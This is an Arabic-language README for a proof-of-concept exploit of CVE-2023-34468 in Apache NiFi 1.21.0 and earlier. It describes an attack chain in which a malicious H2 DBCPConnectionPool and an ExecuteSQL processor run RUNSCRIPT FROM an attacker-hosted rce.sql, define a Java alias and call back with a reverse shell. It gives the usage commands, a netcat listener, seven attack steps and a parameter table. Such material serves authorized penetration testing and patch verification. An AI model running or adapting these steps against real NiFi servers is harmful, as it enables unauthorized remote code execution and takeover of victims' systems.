
استغلال PoC لـ CVE-2023-34468 — RCE عبر H2 RUNSCRIPT في Apache NiFi <= 1.21.0
تنفيذ التعليمات البرمجية عن بُعد عبر H2 Database RUNSCRIPT في Apache NiFi <= 1.21.0
تأتي Apache NiFi مع حزمة JAR لقاعدة بيانات H2 مضمّنة افتراضيًا. يمكن تكوين خدمة التحكم DBCPConnectionPool لاستخدام مشغّل H2 هذا. يدعم H2 عبارة RUNSCRIPT التي تجلب ملف SQL من عنوان URL بعيد وتنفّذه. يمكن لذلك الملف تعريف كود Java تعسفي عبر CREATE ALIAS وتنفيذه على نظام تشغيل الخادم.
سلسلة الهجوم:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| البرنامج | الإصدار |
|---|---|
| Apache NiFi | <= 1.21.0 |
| الإصلاح في | 1.21.1+ |
| Java | أي (مضمّن) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
الطرفية 1 — المستمع:
nc -lvnp 4444
الطرفية 2 — الاستغلال:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)
| الوسيط | الافتراضي | الوصف |
|---|
--target | http://NiFi.target.com | عنوان NiFi الأساسي المستهدف |
--lhost | 10.10.10.10 | عنوان IP الخاص بك (tun0) |
--lport | 4444 | منفذ الاستماع للقشرة العكسية |
--http-port | 80 | المنفذ لتقديم rce.sql |
--cleanup | False | حذف العناصر المنشأة بعد التشغيل |